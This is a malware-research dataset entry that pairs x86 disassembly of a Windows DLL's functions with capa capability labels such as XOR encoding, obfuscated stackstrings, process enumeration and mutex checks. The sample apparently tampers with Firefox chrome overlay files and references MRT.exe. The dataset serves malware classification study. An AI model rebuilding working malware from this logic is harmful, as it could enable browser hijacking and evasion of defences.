joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001b33f
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
xor ebx, ebx
push edi
mov byte [ebp - 3], bl
call fcn.1001506d
mov esi, dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp esi, 0xffffffff
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov byte [ebp - 1], bl
sete byte [ebp - 2]
call edi
mov dword [ebp - 8], eax
cmp byte [ebp - 2], bl
jne 0x1001b388
call edi
mov esi, dword [ebp - 8]
mov ecx, dword [ebp + 8]
lea edx, [esi + ecx]
cmp eax, edx
jae 0x1001b3f9
sub esi, eax
add esi, ecx
push 0x5ff
push esi
push ebx
lea eax, [ebp - 0xc]
push eax
push 1
call dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
sub eax, ebx
je 0x1001b3e8
dec eax
je 0x1001b3d3
sub eax, 0x101
jne 0x1001b3f0
cmp byte [ebp - 2], bl
jne 0x1001b3f0
jmp 0x1001b3ec
cmp dword [ebp - 0x2c], ebx
jne 0x1001b3bf
cmp dword [ebp - 0x28], 0x16
jne 0x1001b3bf
mov byte [ebp - 1], 1
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push 1
push ebx
push ebx
push ebx
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
jne 0x1001b3b0
jmp 0x1001b3f0
mov byte [ebp - 3], 1
mov byte [ebp - 1], 1
cmp byte [ebp - 1], bl
je 0x1001b370
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call 0x100042ce
mov al, byte [ebp - 3]
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x1001c0dc
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push edi
mov edi, dword [ebp + 8]
push 0x1002f878
push edi
call esi
cmp dword [0x1003ecd8], 0
mov byte [ebp - 0x10], 0x2c
mov byte [ebp - 0xf], 0x37
mov byte [ebp - 0xe], 0x3f
mov byte [ebp - 0xd], 0x40
mov byte [ebp - 0xc], 0x41
mov byte [ebp - 0xb], 0x42
mov byte [ebp - 0xa], 0x43
mov byte [ebp - 9], 0x44
mov byte [ebp - 8], 0x45
mov byte [ebp - 7], 0x46
mov byte [ebp - 6], 0x47
mov byte [ebp - 5], 0x48
mov byte [ebp - 4], 0x49
mov byte [ebp - 3], 0x4a
mov byte [ebp - 2], 0x4b
mov byte [ebp - 1], 0x4c
jne 0x1001c155
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x1003ecd8], eax
and eax, 0xf
mov al, byte [ebp + eax - 0x10]
mov byte [0x1003ecdb], al
mov al, byte [0x1003ecd8]
cmp al, 0xff
movzx edx, al
jne 0x1001c166
mov edx, 0xd6
mov al, byte [0x1003ecd9]
cmp al, 0xff
je 0x1001c174
movzx ecx, al
jmp 0x1001c177
push 0x3e
pop ecx
mov al, byte [0x1003ecda]
cmp al, 0xff
je 0x1001c185
movzx eax, al
jmp 0x1001c188
push 0x11
pop eax
push edx
push ecx
push eax
movzx eax, byte [0x1003ecdb]
push eax
lea eax, [ebp - 0x30]
push str._d._d._d._d
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x18
lea eax, [ebp - 0x30]
push eax
push edi
call esi
push str.txt1
push edi
call esi
mov eax, edi
pop edi
pop esi
leave
ret 4
Function at 0x1001c522
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc80
push ebx
push 0x208
lea eax, [ebp - 0x668]
xor ebx, ebx
push eax
mov byte [ebp - 1], bl
mov word [ebp - 0x668], bx
call fcn.1000f27c
test al, al
je 0x1001c6ca
lea eax, [ebp - 0x668]
push eax
call fcn.100247dc
test al, al
je 0x1001c6ca
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x668]
push eax
lea eax, [ebp - 0xc80]
push eax
mov word [ebp - 0xc80], bx
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x1002ff14
lea eax, [ebp - 0xc80]
push eax
call esi
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0xc80]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
je 0x1001c6c8
lea eax, [ebp - 0x668]
push eax
lea eax, [ebp - 0x210]
push eax
mov word [ebp - 0x210], bx
call edi
lea eax, [ebp - 0x434]
push eax
lea eax, [ebp - 0x210]
push eax
call esi
mov eax, dword [ebp - 0x460]
and eax, 0x10
cmp al, 0x10
jne 0x1001c690
push 0x1002e688
lea eax, [ebp - 0x434]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
je 0x1001c618
lea eax, [ebp - 0x434]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 2
jle 0x1001c690
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x870]
push eax
mov word [ebp - 0x870], bx
call esi
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0xa78]
push eax
mov word [ebp - 0xa78], bx
call esi
push str.chromecontent_
lea eax, [ebp - 0x870]
push eax
call esi
push str._cfg.js
lea eax, [ebp - 0x870]
push eax
call esi
push str.chromecontentoverlay.xul
lea eax, [ebp - 0xa78]
push eax
call esi
lea eax, [ebp - 0x870]
push eax
call fcn.100247dc
test al, al
je 0x1001c690
lea eax, [ebp - 0xa78]
push eax
call fcn.100247dc
test al, al
jne 0x1001c6aa
lea eax, [ebp - 0x460]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x1001c5b8
jmp 0x1001c6bf
cmp dword [ebp + 8], ebx
je 0x1001c6bb
lea eax, [ebp - 0x210]
push eax
push dword [ebp + 8]
call edi
mov byte [ebp - 1], 1
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
mov al, byte [ebp - 1]
pop ebx
leave
ret 4
Function at 0x1001d2ae
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
push 0x14
pop edi
push edi
xor esi, esi
lea eax, [ebp - 0x28]
push esi
push eax
mov ebx, ecx
call fcn.10025c20
add esp, 0xc
mov dword [ebp - 4], edi
call fcn.10018718
mov edi, eax
cmp edi, esi
je 0x1001d2fb
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 8]
push eax
push esi
call fcn.100042d2
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x1001d331
push esi
push esi
push 0xa
lea eax, [ebp - 0x14]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x28]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [ebp - 0x14]
push eax
call fcn.100070b9
cmp dword [ebx + 8], eax
pop ecx
sbb eax, eax
inc eax
jmp 0x1001d333
xor al, al
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x1001de8e
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
push ebx
push esi
push edi
xor ebx, ebx
mov edi, 0x22c
mov dword [ebp - 4], ebx
mov ecx, edi
lea eax, [ebp - 0x230]
mov byte [eax], bl
inc eax
dec ecx
jne 0x1001deac
cmp byte [ebp + 0xc], bl
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
jne 0x1001dec5
cmp byte [0x1003aad4], bl
je 0x1001deff
push dword [0x1003ff74]
mov byte [0x1003aad4], 1
call esi
push ebx
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
cmp eax, 0xffffffff
mov dword [0x1003ff74], eax
jne 0x1001deed
xor eax, eax
jmp 0x1001df99
cmp byte [ebp + 0xc], bl
mov byte [0x1003ff70], 1
mov byte [0x1003aad4], bl
jne 0x1001dee6
cmp byte [0x1003ff70], bl
mov dword [ebp - 0x230], edi
je 0x1001df2d
lea eax, [ebp - 0x230]
push eax
push dword [0x1003ff74]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
jne 0x1001df2d
push dword [0x1003ff74]
call esi
jmp 0x1001dee6
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov byte [0x1003ff70], bl
cmp word [ebp - 0x20c], bx
je 0x1001df6a
push dword [ebp + 8]
call esi
mov edi, eax
lea eax, [ebp - 0x20c]
push eax
call esi
cmp eax, edi
jne 0x1001df6a
push dword [ebp + 8]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x1001df82
lea eax, [ebp - 0x230]
push eax
push dword [0x1003ff74]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x1001df39
jmp 0x1001df8f
mov eax, dword [ebp - 0x228]
cmp eax, ebx
mov dword [ebp - 4], eax
jne 0x1001df96
mov byte [0x1003aad4], 1
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x1001e212
Capabilities:
Parse pe header

Disassembly:
mov edx, dword [esp + 4]
xor al, al
cmp word [edx], 0x5a4d
jne 0x1001e242
mov ecx, dword [edx + 0x3c]
add ecx, edx
cmp dword [ecx], 0x4550
jne 0x1001e242
movzx ecx, word [ecx + 0x16]
test cl, 2
je 0x1001e242
and cx, 0x2000
cmp cx, 0x2000
setne al
ret 4
Function at 0x1001f0fc
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push edi
push dword [ebp + 0xc]
xor ebx, ebx
mov byte [ebp - 1], bl
call esi
push dword [ebp + 0x10]
mov edi, eax
call esi
mov esi, eax
lea eax, [edi + 1]
push eax
call fcn.1001761b
mov byte [eax], bl
mov dword [ebp - 8], eax
mov byte [eax + edi], bl
lea eax, [esi + 1]
push eax
call fcn.1001761b
pop ecx
pop ecx
push ebx
push ebx
push edi
push dword [ebp - 8]
mov byte [eax], bl
push 0xffffffffffffffff
push dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
add eax, esi
push ebx
push ebx
mov dword [ebp - 0x18], eax
mov byte [eax], bl
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push ebx
push ebx
push esi
push dword [ebp - 0x10]
push 0xffffffffffffffff
push dword [ebp + 0x10]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push ebx
push 0x80
push 3
push ebx
push ebx
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [ebp + 0xc], eax
je 0x1001f27d
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0xc], eax
lea eax, [eax + esi + 1]
push eax
call fcn.1001761b
pop ecx
push ebx
lea ecx, [ebp + 8]
push ecx
push dword [ebp - 0xc]
mov dword [ebp + 0x10], eax
push eax
push dword [ebp + 0xc]
mov dword [ebp + 8], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1001f26b
mov eax, dword [ebp + 0x10]
push dword [ebp - 8]
mov ecx, dword [ebp + 8]
push eax
mov byte [ecx + eax], bl
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
cmp eax, ebx
mov dword [ebp - 0x14], eax
je 0x1001f233
add eax, edi
push eax
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call fcn.1001761b
pop ecx
push dword [ebp - 8]
mov dword [ebp - 0xc], eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 8]
push dword [ebp - 0xc]
sub eax, edi
add eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [ebp - 0xc]
call fcn.1000e77a
mov edi, dword [ebp - 0x14]
pop ecx
push esi
push dword [ebp - 0x10]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov eax, dword [ebp - 0x18]
mov al, byte [eax - 1]
mov byte [edi + esi - 1], al
push ebx
push ebx
push ebx
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push ebx
lea eax, [ebp + 8]
push eax
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1001f26b
mov byte [ebp - 1], 1
push dword [ebp + 0x10]
call fcn.1000e77a
pop ecx
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x1001f352
Capabilities:
Encode data using xor
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
xor esi, esi
push esi
push 0x80
push 3
push esi
push esi
push 0xc0000000
push dword [ecx + 0x70]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x1001f3f0
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push eax
mov dword [ebp - 8], eax
call fcn.1001761b
mov edi, eax
cmp edi, esi
pop ecx
je 0x1001f3e8
push esi
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
mov dword [ebp - 4], esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1001f3e1
mov ecx, dword [ebp - 4]
cmp ecx, esi
je 0x1001f3e1
xor eax, eax
dec ecx
xor byte [eax + edi], al
inc eax
cmp eax, ecx
jbe 0x1001f3b5
push esi
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push esi
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 4]
mov dword [ebp - 0xc], esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call fcn.1000e77a
pop ecx
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10020630
Capabilities:
Check mutex on windows
Create thread
Terminate thread

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
call fcn.1001506d
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, eax
xor ebx, ebx
cmp esi, ebx
je 0x10020653
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push esi
call ebp
push 0x1002ddcc
call fcn.1000d4bb
call fcn.100250ea
push eax
call fcn.10020b1b
push 0x1002fe40
call fcn.1000d4bb
push 0x1003fe9c
push 0x5e9c1340
call fcn.1000f13a
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
cmp eax, ebx
mov dword [esp + 0x14], eax
je 0x100206a3
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x10020790
push ebx
push ebx
call dword [sym.imp.ole32.dll_CoInitializeEx]
push 0x1003fe88
push 0xc04c040f
mov byte [esp + 0x18], bl
call fcn.1000f13a
push eax
push ebx
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov esi, eax
cmp esi, ebx
je 0x100206de
mov byte [esp + 0x10], 1
call fcn.10008fad
push esi
call ebp
push dword [esp + 0x10]
mov byte [esp + 0x13], bl
call fcn.1000ee13
call fcn.10021286
test al, al
je 0x100206fb
push 0x1002d698
jmp 0x10020700
push 0x1002f174
call fcn.1000d4bb
push 0x1003056c
call fcn.1000d4bb
cmp byte [esp + 0x10], bl
jne 0x1002071f
push 0x1388
call fcn.1001b33f
push 0x4c
call fcn.1001db04
cmp eax, ebx
pop ecx
je 0x10020736
mov ecx, eax
call fcn.10020e68
mov esi, eax
jmp 0x10020738
xor esi, esi
push edi
call fcn.1001aae7
push ebx
push ebx
lea eax, [esp + 0x1b]
push eax
push 0x1001a9c4
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
mov ecx, esi
mov edi, eax
call fcn.10003fa7
cmp edi, ebx
mov byte [esp + 0x13], 1
je 0x1002077d
push 0x3e8
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x1002077d
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
cmp esi, ebx
pop edi
je 0x1002078b
mov eax, dword [esi]
push 1
mov ecx, esi
call dword [eax + 0x20]
call fcn.10009ce6
push dword [esp + 0x14]
call ebp
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.10023cc5
test al, al
jne 0x100207b7
push ebx
push dword [0x1003fe58]
call dword [sym.imp.KERNEL32.dll_FreeLibraryAndExitThread]
pop esi
pop ebp
pop ebx
add esp, 0xc
ret

Function at 0x10020b1b
Capabilities:
Check mutex on windows

Disassembly:
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push dword [esp + 0xc]
xor bl, bl
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov esi, eax
test esi, esi
jne 0x10020b47
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x10020b54
test esi, esi
mov bl, 1
je 0x10020b54
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov al, bl
pop ebx
ret 4
Function at 0x10020d9d
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push ebp
push esi
push str.wininet.dll
mov esi, ecx
xor bl, bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
test ebp, ebp
je 0x10020e5f
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.InternetOpenUrlW
push ebp
call edi
push str.InternetOpenW
push ebp
mov dword [esi + 8], eax
call edi
push str.InternetConnectW
push ebp
mov dword [esi + 0xc], eax
call edi
push str.HttpQueryInfoW
push ebp
mov dword [esi + 0x10], eax
call edi
push str.InternetCloseHandle
push ebp
mov dword [esi + 0x14], eax
call edi
push str.HttpOpenRequestW
push ebp
mov dword [esi + 0x18], eax
call edi
push str.HttpSendRequestA
push ebp
mov dword [esi + 0x1c], eax
call edi
push str.InternetReadFile
push ebp
mov dword [esi + 0x20], eax
call edi
push str.InternetSetStatusCallbackW
push ebp
mov dword [esi + 0x24], eax
call edi
push str.InternetQueryDataAvailable
push ebp
mov dword [esi + 4], eax
call edi
push str.InternetSetOptionW
push ebp
mov dword [esi + 0x28], eax
call edi
push str.InternetSetOptionA
push ebp
mov dword [esi + 0x2c], eax
call edi
mov ecx, esi
mov dword [esi + 0x30], eax
call fcn.10009056
test al, al
pop edi
je 0x10020e56
inc bl
mov dword [esi], ebp
jmp 0x10020e5f
push ebp
xor bl, bl
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov byte [esi + 0x34], bl
mov eax, esi
pop esi
pop ebp
pop ebx
ret

Function at 0x10020e68
Capabilities:
Read file via mapping

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
call fcn.100166ab
lea ecx, [esi + 0x2c]
call fcn.100057ae
xor edi, edi
push 0x1003ed04
push 0x1489bdf2
mov dword [esi], vtable.CConnectionCollector.0
mov dword [esi + 0x38], edi
mov dword [esi + 0x3c], edi
mov dword [esi + 0x40], edi
mov dword [esi + 0x44], edi
mov dword [esi + 0x48], edi
call fcn.1000f13a
mov ebx, dword [sym.imp.KERNEL32.dll_CreateEventW]
push eax
push edi
push edi
push edi
call ebx
mov dword [esi + 0x44], eax
call fcn.1001506d
push 0x1003ed2c
push 0xf7f422bf
mov dword [esi + 0x48], eax
call fcn.1000f13a
push eax
push 0x1048
push edi
push 4
push edi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
cmp eax, edi
mov dword [esi + 0x38], eax
je 0x10020eee
push edi
push edi
push edi
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [esi + 0x3c], eax
push 0x1003ed40
push 0xc42ae723
call fcn.1000f13a
push eax
push edi
push 1
push edi
call ebx
mov dword [esi + 0x40], eax
pop edi
mov dword [0x1003ecec], esi
mov eax, esi
pop esi
pop ebx
ret

Function at 0x10020f77
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ecx]
call dword [eax + 0x20]
cmp dword [ebp + 8], 0
mov dword [ebp - 4], eax
je 0x10020fbe
push esi
mov dword [ebp - 8], 4
call fcn.10018718
mov esi, eax
test esi, esi
je 0x10020fbd
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push dword [ebp + 8]
push esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
mov eax, dword [ebp - 4]
leave
ret 4
Function at 0x100210c4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x608
push ebx
push esi
push edi
push 6
pop ecx
mov esi, 0x1002e5ac
lea edi, [ebp - 0x400]
rep movsd dword es:[edi], dword [esi]
push 0xae
xor ebx, ebx
lea eax, [ebp - 0x3e6]
push ebx
push eax
movsw word es:[edi], word [esi]
call fcn.10025c20
push 6
pop ecx
mov dword [ebp - 0x338], fcn.10020630
mov esi, 0x10030b6c
lea edi, [ebp - 0x334]
rep movsd dword es:[edi], dword [esi]
push 0xae
lea eax, [ebp - 0x31a]
push ebx
push eax
movsw word es:[edi], word [esi]
call fcn.10025c20
mov dword [ebp - 0x26c], 0x1001bf16
mov esi, str.MRT.exe
lea edi, [ebp - 0x268]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 0xb8
lea eax, [ebp - 0x258]
push ebx
push eax
movsd dword es:[edi], dword [esi]
call fcn.10025c20
push 6
pop ecx
mov dword [ebp - 0x1a0], 0x1000904d
mov esi, 0x1002f240
lea edi, [ebp - 0x19c]
rep movsd dword es:[edi], dword [esi]
push 0xae
lea eax, [ebp - 0x182]
push ebx
push eax
movsw word es:[edi], word [esi]
call fcn.10025c20
push 0xc6
lea eax, [ebp - 0xce]
push ebx
push eax
mov dword [ebp - 0xd4], ebx
mov word [ebp - 0xd0], bx
call fcn.10025c20
add esp, 0x3c
xor eax, eax
lea edi, [ebp - 8]
stosd dword es:[edi], eax
push 0x208
lea eax, [ebp - 0x608]
push eax
push dword [0x1003fe58]
mov byte [ebp - 1], bl
mov word [ebp - 0x608], bx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
cmp dword [ebp - 0x400], ebx
je 0x10021233
lea eax, [ebp - 0x400]
push eax
call fcn.10011ea7
test al, al
jne 0x100211fd
inc edi
mov eax, edi
imul eax, eax, 0xcc
lea eax, [ebp + eax - 0x400]
cmp dword [eax], ebx
jne 0x100211dd
jmp 0x10021233
imul edi, edi, 0xcc
lea edi, [ebp + edi - 0x338]
cmp dword [edi], ebx
je 0x1002122f
lea eax, [ebp - 0x608]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push ebx
push ebx
push dword [edi]
push 0x100012a3
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call esi
mov byte [ebp - 1], 1
call fcn.1001506d
mov edi, eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
neg eax
sbb al, al
inc al
push edi
mov byte [ebp - 2], al
call esi
cmp byte [ebp - 1], bl
jne 0x1002127c
cmp byte [ebp - 2], bl
jne 0x1002127c
lea eax, [ebp - 0x608]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push ebx
push ebx
push ebx
push 0x10013a12
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call esi
mov byte [ebp - 1], 1
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x100231c2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor ebx, ebx
cmp edi, ebx
mov esi, ecx
mov dword [esi], ebx
je 0x100232cd
push 0xc
call fcn.1001db04
cmp eax, ebx
pop ecx
mov dword [esi], eax
je 0x100232cd
mov dword [eax], ebx
mov eax, dword [esi]
mov dword [eax + 8], 1
mov eax, dword [esi]
mov dword [eax + 4], ebx
cmp byte [edi], bl
je 0x1002328b
movzx eax, word [edi + 1]
cmp ax, bx
je 0x100232cd
movzx ebx, ax
xor ecx, ecx
push 2
pop edx
mov eax, ebx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.1001761b
pop ecx
mov ecx, dword [esi]
mov dword [ecx], eax
mov eax, dword [esi]
mov eax, dword [eax]
test eax, eax
je 0x100232cd
mov eax, dword [esi]
mov dword [eax + 4], ebx
mov eax, dword [esi]
mov ebx, dword [eax]
mov al, byte [edi]
and dword [ebp + 8], 0
cmp al, 1
jne 0x10023259
call fcn.10004d88
xor eax, 0x3c2c3db7
jmp 0x10023265
cmp al, 2
jne 0x10023268
movzx eax, word [edi + 1]
mov eax, dword [eax + edi + 3]
mov dword [ebp + 8], eax
xor eax, eax
cmp word [edi + 1], ax
jbe 0x100232cd
mov ecx, eax
and ecx, 3
mov cl, byte [ebp + ecx + 8]
xor cl, byte [edi + eax + 3]
mov byte [eax + ebx], cl
movzx ecx, word [edi + 1]
inc eax
cmp eax, ecx
jb 0x10023270
jmp 0x100232cd
push edi
call fcn.10008b1d
cmp eax, ebx
pop ecx
je 0x100232cd
lea ebx, [eax + 1]
xor ecx, ecx
push 2
pop edx
mov eax, ebx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.1001761b
pop ecx
mov ecx, dword [esi]
mov dword [ecx], eax
mov eax, dword [esi]
mov eax, dword [eax]
test eax, eax
je 0x100232cd
mov eax, dword [esi]
mov dword [eax + 4], ebx
mov eax, dword [esi]
push edi
push dword [eax]
call fcn.10008fdd
pop ecx
pop ecx
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 4

Function at 0x100247dc
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SetErrorMode]
push edi
push 1
call esi
push dword [esp + 0x10]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
push edi
setne bl
call esi
pop edi
pop esi
mov al, bl
pop ebx
ret 4

Function at 0x10024fdf
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
xor edi, edi
cmp dword [ebp + 0xc], edi
je 0x10025022
shl eax, 2
push esi
mov dword [ebp - 4], eax
call fcn.10018718
mov esi, eax
cmp esi, edi
je 0x10025021
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push edi
push edi
push dword [ebp + 0xc]
push esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1002501a
mov edi, dword [ebp - 4]
shr edi, 2
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
mov eax, edi
pop edi
leave
ret 8